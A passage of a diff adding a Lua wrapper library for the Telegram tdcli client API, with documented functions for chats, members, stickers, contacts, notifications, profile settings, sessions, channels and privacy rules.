createGroupChat(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateGroupChat", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.createGroupChat = createGroupChat + +-- Returns existing chat corresponding to the known channel +-- @channel_id Channel identifier +local function createChannelChat(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateChannelChat", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.createChannelChat = createChannelChat + +-- Returns existing chat corresponding to the known secret chat +-- @secret_chat_id SecretChat identifier +local function createSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.createSecretChat = createSecretChat + +-- Creates new group chat and send corresponding messageGroupChatCreate, returns created chat +-- @user_ids Identifiers of users to add to the group +-- @title Title of new group chat, 0-255 characters +local function createNewGroupChat(user_ids, title, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewGroupChat", + user_ids_ = user_ids, -- vector + title_ = title + }, dl_cb, cmd) +end + +M.createNewGroupChat = createNewGroupChat + +-- Creates new channel chat and send corresponding messageChannelChatCreate, returns created chat +-- @title Title of new channel chat, 0-255 characters +-- @is_supergroup True, if supergroup chat should be created +-- @about Information about the channel, 0-255 characters +local function createNewChannelChat(title, is_supergroup, about, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewChannelChat", + title_ = title, + is_supergroup_ = is_supergroup, + about_ = about + }, dl_cb, cmd) +end + +M.createNewChannelChat = createNewChannelChat + +-- Creates new secret chat, returns created chat +-- @user_id Identifier of a user to create secret chat with +local function createNewSecretChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewSecretChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createNewSecretChat = createNewSecretChat + +-- Creates new channel supergroup chat from existing group chat and send corresponding messageChatMigrateTo and messageChatMigrateFrom. Deactivates group +-- @chat_id Group chat identifier +local function migrateGroupChatToChannelChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "MigrateGroupChatToChannelChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.migrateGroupChatToChannelChat = migrateGroupChatToChannelChat + +-- Changes chat title. +-- Title can't be changed for private chats. +-- Title will not change until change will be synchronized with the server. +-- Title will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the title on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @title New title of a chat, 0-255 characters +local function changeChatTitle(chat_id, title, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatTitle", + chat_id_ = chat_id, + title_ = title + }, dl_cb, cmd) +end + +M.changeChatTitle = changeChatTitle + +-- Changes chat photo. +-- Photo can't be changed for private chats. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the photo on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @photo New chat photo. You can use zero InputFileId to delete photo. Files accessible only by HTTP URL are not acceptable +local function changeChatPhoto(chat_id, photo, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatPhoto", + chat_id_ = chat_id, + photo_ = getInputFile(photo) + }, dl_cb, cmd) +end + +M.changeChatPhoto = changeChatPhoto + +-- Changes chat draft message +-- @chat_id Chat identifier +-- @draft_message New draft message, nullable +local function changeChatDraftMessage(chat_id, reply_to_message_id, text, disable_web_page_preview, clear_draft, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "ChangeChatDraftMessage", + chat_id_ = chat_id, + draft_message_ = { + ID = "DraftMessage", + reply_to_message_id_ = reply_to_message_id, + input_message_text_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = clear_draft, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, + }, dl_cb, cmd) +end + +M.changeChatDraftMessage = changeChatDraftMessage + +-- Adds new member to chat. +-- Members can't be added to private or secret chats. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to add +-- @forward_limit Number of previous messages from chat to forward to new member, ignored for channel chats +local function addChatMember(chat_id, user_id, forward_limit, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMember", + chat_id_ = chat_id, + user_id_ = user_id, + forward_limit_ = forward_limit or 50 + }, dl_cb, cmd) +end + +M.addChatMember = addChatMember + +-- Adds many new members to the chat. +-- Currently, available only for channels. +-- Can't be used to join the channel. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_ids Identifiers of the users to add +local function addChatMembers(chat_id, user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMembers", + chat_id_ = chat_id, + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.addChatMembers = addChatMembers + +-- Changes status of the chat member, need appropriate privileges. +-- In channel chats, user will be added to chat members if he is yet not a member and there is less than 200 members in the channel. +-- Status will not be changed until chat state will be synchronized with the server. +-- Status will not be changed if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to edit status, bots can be editors in the channel chats +-- @status New status of the member in the chat +-- status = Creator|Editor|Moderator|Member|Left|Kicked +local function changeChatMemberStatus(chat_id, user_id, status, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatMemberStatus", + chat_id_ = chat_id, + user_id_ = user_id, + status_ = { + ID = "ChatMemberStatus" .. status + }, + }, dl_cb, cmd) +end + +M.changeChatMemberStatus = changeChatMemberStatus + +-- Returns information about one participant of the chat +-- @chat_id Chat identifier +-- @user_id User identifier +local function getChatMember(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatMember", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getChatMember = getChatMember + +-- Asynchronously downloads file from cloud. +-- Updates updateFileProgress will notify about download progress. +-- Update updateFile will notify about successful download +-- @file_id Identifier of file to download +local function downloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "DownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.downloadFile = downloadFile + +-- Stops file downloading. +-- If file already downloaded do nothing. +-- @file_id Identifier of file to cancel download +local function cancelDownloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "CancelDownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.cancelDownloadFile = cancelDownloadFile + +-- Next part of a file was generated +-- @generation_id Identifier of the generation process +-- @ready Number of bytes already generated. Negative number means that generation has failed and should be terminated +local function setFileGenerationProgress(generation_id, ready, dl_cb, cmd) + tdcli_function ({ + ID = "SetFileGenerationProgress", + generation_id_ = generation_id, + ready_ = ready + }, dl_cb, cmd) +end + +M.setFileGenerationProgress = setFileGenerationProgress + +-- Finishes file generation +-- @generation_id Identifier of the generation process +local function finishFileGeneration(generation_id, dl_cb, cmd) + tdcli_function ({ + ID = "FinishFileGeneration", + generation_id_ = generation_id + }, dl_cb, cmd) +end + +M.finishFileGeneration = finishFileGeneration + +-- Generates new chat invite link, previously generated link is revoked. +-- Available for group and channel chats. +-- Only creator of the chat can export chat invite link +-- @chat_id Chat identifier +local function exportChatInviteLink(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "ExportChatInviteLink", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.exportChatInviteLink = exportChatInviteLink + +-- Checks chat invite link for validness and returns information about the corresponding chat +-- @invite_link Invite link to check. Should begin with "https://telegram.me/joinchat/" +local function checkChatInviteLink(link, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChatInviteLink", + invite_link_ = link + }, dl_cb, cmd) +end + +M.checkChatInviteLink = checkChatInviteLink + +-- Imports chat invite link, adds current user to a chat if possible. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @invite_link Invite link to import. Should begin with "https://telegram.me/joinchat/" +local function importChatInviteLink(invite_link, dl_cb, cmd) + tdcli_function ({ + ID = "ImportChatInviteLink", + invite_link_ = invite_link + }, dl_cb, cmd) +end + +M.importChatInviteLink = importChatInviteLink + +-- Adds user to black list +-- @user_id User identifier +local function blockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "BlockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.blockUser = blockUser + +-- Removes user from black list +-- @user_id User identifier +local function unblockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnblockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.unblockUser = unblockUser + +-- Returns users blocked by the current user +-- @offset Number of users to skip in result, must be non-negative +-- @limit Maximum number of users to return, can't be greater than 100 +local function getBlockedUsers(offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetBlockedUsers", + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getBlockedUsers = getBlockedUsers + +-- Adds new contacts/edits existing contacts, contacts user identifiers are ignored. +-- Returns list of corresponding users in the same order as input contacts. +-- If contact doesn't registered in Telegram, user with id == 0 will be returned +-- @contacts List of contacts to import/edit +local function importContacts(phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "ImportContacts", + contacts_ = {[0] = { + phone_number_ = tostring(phone_number), + first_name_ = tostring(first_name), + last_name_ = tostring(last_name), + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.importContacts = importContacts + +-- Searches for specified query in the first name, last name and username of the known user contacts +-- @query Query to search for, can be empty to return all contacts +-- @limit Maximum number of users to be returned +local function searchContacts(query, limit, dl_cb, cmd) + tdcli_function ({ + ID = "SearchContacts", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchContacts = searchContacts + +-- Deletes users from contacts list +-- @user_ids Identifiers of users to be deleted +local function deleteContacts(user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteContacts", + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.deleteContacts = deleteContacts + +-- Returns profile photos of the user. +-- Result of this query can't be invalidated, so it must be used with care +-- @user_id User identifier +-- @offset Photos to skip, must be non-negative +-- @limit Maximum number of photos to be returned, can't be greater than 100 +local function getUserProfilePhotos(user_id, offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserProfilePhotos", + user_id_ = user_id, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getUserProfilePhotos = getUserProfilePhotos + +-- Returns stickers corresponding to given emoji +-- @emoji String representation of emoji. If empty, returns all known stickers +local function getStickers(emoji, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickers", + emoji_ = emoji + }, dl_cb, cmd) +end + +M.getStickers = getStickers + +-- Returns list of installed sticker sets without archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +local function getStickerSets(is_masks, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSets", + is_masks_ = is_masks + }, dl_cb, cmd) +end + +M.getStickerSets = getStickerSets + +-- Returns list of archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +-- @offset_sticker_set_id Identifier of the sticker set from which return the result +-- @limit Maximum number of sticker sets to return +local function getArchivedStickerSets(is_masks, offset_sticker_set_id, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetArchivedStickerSets", + is_masks_ = is_masks, + offset_sticker_set_id_ = offset_sticker_set_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getArchivedStickerSets = getArchivedStickerSets + +-- Returns list of trending sticker sets +local function getTrendingStickerSets(dl_cb, cmd) + tdcli_function ({ + ID = "GetTrendingStickerSets" + }, dl_cb, cmd) +end + +M.getTrendingStickerSets = getTrendingStickerSets + +-- Returns list of sticker sets attached to a file, currently only photos and videos can have attached sticker sets +-- @file_id File identifier +local function getAttachedStickerSets(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetAttachedStickerSets", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getAttachedStickerSets = getAttachedStickerSets + +-- Returns information about sticker set by its identifier +-- @set_id Identifier of the sticker set +local function getStickerSet(set_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSet", + set_id_ = set_id + }, dl_cb, cmd) +end + +M.getStickerSet = getStickerSet + +-- Searches sticker set by its short name +-- @name Name of the sticker set +local function searchStickerSet(name, dl_cb, cmd) + tdcli_function ({ + ID = "SearchStickerSet", + name_ = name + }, dl_cb, cmd) +end + +M.searchStickerSet = searchStickerSet + +-- Installs/uninstalls or enables/archives sticker set. +-- Official sticker set can't be uninstalled, but it can be archived +-- @set_id Identifier of the sticker set +-- @is_installed New value of is_installed +-- @is_archived New value of is_archived +local function updateStickerSet(set_id, is_installed, is_archived, dl_cb, cmd) + tdcli_function ({ + ID = "UpdateStickerSet", + set_id_ = set_id, + is_installed_ = is_installed, + is_archived_ = is_archived + }, dl_cb, cmd) +end + +M.updateStickerSet = updateStickerSet + +-- Trending sticker sets are viewed by the user +-- @sticker_set_ids Identifiers of viewed trending sticker sets +local function viewTrendingStickerSets(sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewTrendingStickerSets", + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.viewTrendingStickerSets = viewTrendingStickerSets + +-- Changes the order of installed sticker sets +-- @is_masks Pass true to change masks order, pass false to change stickers order +-- @sticker_set_ids Identifiers of installed sticker sets in the new right order +local function reorderStickerSets(is_masks, sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReorderStickerSets", + is_masks_ = is_masks, + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.reorderStickerSets = reorderStickerSets + +-- Returns list of recently used stickers +-- @is_attached Pass true to return stickers and masks recently attached to photo or video files, pass false to return recently sent stickers +local function getRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.getRecentStickers = getRecentStickers + +-- Manually adds new sticker to the list of recently used stickers. +-- New sticker is added to the beginning of the list. +-- If the sticker is already in the list, at first it is removed from the list +-- @is_attached Pass true to add the sticker to the list of stickers recently attached to photo or video files, pass false to add the sticker to the list of recently sent stickers +-- @sticker Sticker file to add +local function addRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.addRecentSticker = addRecentSticker + +-- Removes a sticker from the list of recently used stickers +-- @is_attached Pass true to remove the sticker from the list of stickers recently attached to photo or video files, pass false to remove the sticker from the list of recently sent stickers +-- @sticker Sticker file to delete +local function deleteRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.deleteRecentSticker = deleteRecentSticker + +-- Clears list of recently used stickers +-- @is_attached Pass true to clear list of stickers recently attached to photo or video files, pass false to clear the list of recently sent stickers +local function clearRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "ClearRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.clearRecentStickers = clearRecentStickers + +-- Returns emojis corresponding to a sticker +-- @sticker Sticker file identifier +local function getStickerEmojis(sticker, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerEmojis", + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.getStickerEmojis = getStickerEmojis + +-- Returns saved animations +local function getSavedAnimations(dl_cb, cmd) + tdcli_function ({ + ID = "GetSavedAnimations", + }, dl_cb, cmd) +end + +M.getSavedAnimations = getSavedAnimations + +-- Manually adds new animation to the list of saved animations. +-- New animation is added to the beginning of the list. +-- If the animation is already in the list, at first it is removed from the list. +-- Only non-secret video animations with MIME type "video/mp4" can be added to the list +-- @animation Animation file to add. Only known to server animations (i. e. successfully sent via message) can be added to the list +local function addSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "AddSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.addSavedAnimation = addSavedAnimation + +-- Removes animation from the list of saved animations +-- @animation Animation file to delete +local function deleteSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.deleteSavedAnimation = deleteSavedAnimation + +-- Returns up to 20 recently used inline bots in the order of the last usage +local function getRecentInlineBots(dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentInlineBots", + }, dl_cb, cmd) +end + +M.getRecentInlineBots = getRecentInlineBots + +-- Get web page preview by text of the message. +-- Do not call this function to often +-- @message_text Message text +local function getWebPagePreview(message_text, dl_cb, cmd) + tdcli_function ({ + ID = "GetWebPagePreview", + message_text_ = message_text + }, dl_cb, cmd) +end + +M.getWebPagePreview = getWebPagePreview + +-- Returns notification settings for a given scope +-- @scope Scope to return information about notification settings +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function getNotificationSettings(scope, chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + }, dl_cb, cmd) +end + +M.getNotificationSettings = getNotificationSettings + +-- Changes notification settings for a given scope +-- @scope Scope to change notification settings +-- @notification_settings New notification settings for given scope +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function setNotificationSettings(scope, chat_id, mute_for, show_preview, dl_cb, cmd) + tdcli_function ({ + ID = "SetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + notification_settings_ = { + ID = "NotificationSettings", + mute_for_ = mute_for, + sound_ = "default", + show_preview_ = show_preview + } + }, dl_cb, cmd) +end + +M.setNotificationSettings = setNotificationSettings + +-- Resets all notification settings to the default value. +-- By default the only muted chats are supergroups, sound is set to 'default' and message previews are showed +local function resetAllNotificationSettings(dl_cb, cmd) + tdcli_function ({ + ID = "ResetAllNotificationSettings" + }, dl_cb, cmd) +end + +M.resetAllNotificationSettings = resetAllNotificationSettings + +-- Uploads new profile photo for logged in user. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- If something changes, updateUser will be sent +-- @photo_path Path to new profile photo +local function setProfilePhoto(photo_path, dl_cb, cmd) + tdcli_function ({ + ID = "SetProfilePhoto", + photo_path_ = photo_path + }, dl_cb, cmd) +end + +M.setProfilePhoto = setProfilePhoto + +-- Deletes profile photo. +-- If something changes, updateUser will be sent +-- @profile_photo_id Identifier of profile photo to delete +local function deleteProfilePhoto(profile_photo_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteProfilePhoto", + profile_photo_id_ = profile_photo_id + }, dl_cb, cmd) +end + +M.deleteProfilePhoto = deleteProfilePhoto + +-- Changes first and last names of logged in user. +-- If something changes, updateUser will be sent +-- @first_name New value of user first name, 1-255 characters +-- @last_name New value of optional user last name, 0-255 characters +local function changeName(first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeName", + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.changeName = changeName + +-- Changes about information of logged in user +-- @about New value of userFull.about, 0-255 characters +local function changeAbout(about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAbout", + about_ = about + }, dl_cb, cmd) +end + +M.changeAbout = changeAbout + +-- Changes username of logged in user. +-- If something changes, updateUser will be sent +-- @username New value of username. Use empty string to remove username +local function changeUsername(username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeUsername", + username_ = username + }, dl_cb, cmd) +end + +M.changeUsername = changeUsername + +-- Changes user's phone number and sends authentication code to the new user's phone number. +-- Returns authStateWaitCode with information about sent code on success +-- @phone_number New user's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function changePhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "ChangePhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.changePhoneNumber = changePhoneNumber + +-- Resends authentication code sent to change user's phone number. +-- Works only if in previously received authStateWaitCode next_code_type was not null. +-- Returns authStateWaitCode on success +local function resendChangePhoneNumberCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendChangePhoneNumberCode", + }, dl_cb, cmd) +end + +M.resendChangePhoneNumberCode = resendChangePhoneNumberCode + +-- Checks authentication code sent to change user's phone number. +-- Returns authStateOk on success +-- @code Verification code from SMS, voice call or flash call +local function checkChangePhoneNumberCode(code, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChangePhoneNumberCode", + code_ = code + }, dl_cb, cmd) +end + +M.checkChangePhoneNumberCode = checkChangePhoneNumberCode + +-- Returns all active sessions of logged in user +local function getActiveSessions(dl_cb, cmd) + tdcli_function ({ + ID = "GetActiveSessions", + }, dl_cb, cmd) +end + +M.getActiveSessions = getActiveSessions + +-- Terminates another session of logged in user +-- @session_id Session identifier +local function terminateSession(session_id, dl_cb, cmd) + tdcli_function ({ + ID = "TerminateSession", + session_id_ = session_id + }, dl_cb, cmd) +end + +M.terminateSession = terminateSession + +-- Terminates all other sessions of logged in user +local function terminateAllOtherSessions(dl_cb, cmd) + tdcli_function ({ + ID = "TerminateAllOtherSessions", + }, dl_cb, cmd) +end + +M.terminateAllOtherSessions = terminateAllOtherSessions + +-- Gives or revokes all members of the group editor rights. +-- Needs creator privileges in the group +-- @group_id Identifier of the group +-- @anyone_can_edit New value of anyone_can_edit +local function toggleGroupEditors(group_id, anyone_can_edit, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleGroupEditors", + group_id_ = getChatId(group_id).ID, + anyone_can_edit_ = anyone_can_edit + }, dl_cb, cmd) +end + +M.toggleGroupEditors = toggleGroupEditors + +-- Changes username of the channel. +-- Needs creator privileges in the channel +-- @channel_id Identifier of the channel +-- @username New value of username. Use empty string to remove username +local function changeChannelUsername(channel_id, username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelUsername", + channel_id_ = getChatId(channel_id).ID, + username_ = username + }, dl_cb, cmd) +end + +M.changeChannelUsername = changeChannelUsername + +-- Gives or revokes right to invite new members to all current members of the channel. +-- Needs creator privileges in the channel. +-- Available only for supergroups +-- @channel_id Identifier of the channel +-- @anyone_can_invite New value of anyone_can_invite +local function toggleChannelInvites(channel_id, anyone_can_invite, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelInvites", + channel_id_ = getChatId(channel_id).ID, + anyone_can_invite_ = anyone_can_invite + }, dl_cb, cmd) +end + +M.toggleChannelInvites = toggleChannelInvites + +-- Enables or disables sender signature on sent messages in the channel. +-- Needs creator privileges in the channel. +-- Not available for supergroups +-- @channel_id Identifier of the channel +-- @sign_messages New value of sign_messages +local function toggleChannelSignMessages(channel_id, sign_messages, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelSignMessages", + channel_id_ = getChatId(channel_id).ID, + sign_messages_ = sign_messages + }, dl_cb, cmd) +end + +M.toggleChannelSignMessages = toggleChannelSignMessages + +-- Changes information about the channel. +-- Needs creator privileges in the broadcast channel or editor privileges in the supergroup channel +-- @channel_id Identifier of the channel +-- @about New value of about, 0-255 characters +local function changeChannelAbout(channel_id, about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelAbout", + channel_id_ = getChatId(channel_id).ID, + about_ = about + }, dl_cb, cmd) +end + +M.changeChannelAbout = changeChannelAbout + +-- Pins a message in a supergroup channel chat. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +-- @message_id Identifier of the new pinned message +-- @disable_notification True, if there should be no notification about the pinned message +local function pinChannelMessage(channel_id, message_id, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "PinChannelMessage", + channel_id_ = getChatId(channel_id).ID, + message_id_ = message_id, + disable_notification_ = disable_notification + }, dl_cb, cmd) +end + +M.pinChannelMessage = pinChannelMessage + +-- Removes pinned message in the supergroup channel. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +local function unpinChannelMessage(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnpinChannelMessage", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.unpinChannelMessage = unpinChannelMessage + +-- Reports some supergroup channel messages from a user as spam messages +-- @channel_id Channel identifier +-- @user_id User identifier +-- @message_ids Identifiers of messages sent in the supergroup by the user, the list should be non-empty +local function reportChannelSpam(channel_id, user_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReportChannelSpam", + channel_id_ = getChatId(channel_id).ID, + user_id_ = user_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.reportChannelSpam = reportChannelSpam + +-- Returns information about channel members or kicked from channel users. +-- Can be used only if channel_full->can_get_members == true +-- @channel_id Identifier of the channel +-- @filter Kind of channel users to return, defaults to channelMembersRecent +-- @offset Number of channel users to skip +-- @limit Maximum number of users be returned, can't be greater than 200 +-- filter = Recent|Administrators|Kicked|Bots +local function getChannelMembers(channel_id, offset, filter, limit, dl_cb, cmd) + if not limit or limit > 200 then + limit = 200 + end + + tdcli_function ({ + ID = "GetChannelMembers", + channel_id_ = getChatId(channel_id).ID, + filter_ = { + ID = "ChannelMembers" .. filter + }, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChannelMembers = getChannelMembers + +-- Deletes channel along with all messages in corresponding chat. +-- Releases channel username and removes all members. +-- Needs creator privileges in the channel. +-- Channels with more than 1000 members can't be deleted +-- @channel_id Identifier of the channel +local function deleteChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.deleteChannel = deleteChannel + +-- Returns list of created public channels +local function getCreatedPublicChannels(dl_cb, cmd) + tdcli_function ({ + ID = "GetCreatedPublicChannels" + }, dl_cb, cmd) +end + +M.getCreatedPublicChannels = getCreatedPublicChannels + +-- Closes secret chat +-- @secret_chat_id Secret chat identifier +local function closeSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.closeSecretChat = closeSecretChat + +-- Returns user that can be contacted to get support +local function getSupportUser(dl_cb, cmd) + tdcli_function ({ + ID = "GetSupportUser", + }, dl_cb, cmd) +end + +M.getSupportUser = getSupportUser + +-- Returns background wallpapers +local function getWallpapers(dl_cb, cmd) + tdcli_function ({ + ID = "GetWallpapers", + }, dl_cb, cmd) +end + +M.getWallpapers = getWallpapers + +-- Registers current used device for receiving push notifications +-- @device_token Device token +-- device_token = apns|gcm|mpns|simplePush|ubuntuPhone|blackberry +local function registerDevice(device_token, token, device_token_set, dl_cb, cmd) + local dToken = {ID = device_token .. 'DeviceToken', token_ = token} + + if device_token_set then + dToken = {ID = "DeviceTokenSet", token_ = device_token_set} -- tokens:vector<DeviceToken> + end + + tdcli_function ({ + ID = "RegisterDevice", + device_token_ = dToken + }, dl_cb, cmd) +end + +M.registerDevice = registerDevice + +-- Returns list of used device tokens +local function getDeviceTokens(dl_cb, cmd) + tdcli_function ({ + ID = "GetDeviceTokens", + }, dl_cb, cmd) +end + +M.getDeviceTokens = getDeviceTokens + +-- Changes privacy settings +-- @key Privacy key +-- @rules New privacy rules +-- @privacyKeyUserStatus Privacy key for managing visibility of the user status +-- @privacyKeyChatInvite Privacy key for managing ability of invitation of the user to chats +-- @privacyRuleAllowAll Rule to allow all users +-- @privacyRuleAllowContacts Rule to allow all user contacts +-- @privacyRuleAllowUsers Rule to allow specified users +-- @user_ids User identifiers +-- @privacyRuleDisallowAll Rule to disallow all users +-- @privacyRuleDisallowContacts Rule to disallow all user contacts +-- @privacyRuleDisallowUsers Rule to disallow all specified users +-- key = UserStatus|ChatInvite +-- rules = AllowAll|AllowContacts|AllowUsers(user_ids)|DisallowAll|DisallowContacts|DisallowUsers(user_ids) +local function setPrivacy(key, rule, allowed_user_ids, disallowed_user_ids, dl_cb, cmd) + local rules = {[0] = {ID = 'PrivacyRule' .. rule}} + + if allowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids -- vector + }, + } + end + if disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids -- vector + }, + } + end + if allowed_user_ids and disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids + }, + } + end + tdcli_function ({ + ID = "SetPrivacy", + key_ = { + ID = 'PrivacyKey' .. key + }, + rules_ = { + ID = "PrivacyRules", + rules_ = rules + }, + }, dl_cb, cmd) +end + +M.setPrivacy = setPrivacy + +-- Returns current privacy settings +-- @key Privacy key +-- key = UserStatus|ChatInvite +local function getPrivacy(key, dl_cb, cmd) + tdcli_function ({ + ID = "GetPrivacy", + key_ = { + ID = "PrivacyKey" .. key + }, + }, dl_cb, cmd) +end + +M.getPrivacy = getPrivacy + +-- Returns value of an option by its name. +-- See list of available options on https://core.telegram.org/tdlib/options +-- @name Name of the option +local function getOption(name, dl_cb, cmd) + tdcli_function ({ + ID = "GetOption", + name_ = name + }, dl_cb, cmd) +end + +M.getOption = getOption 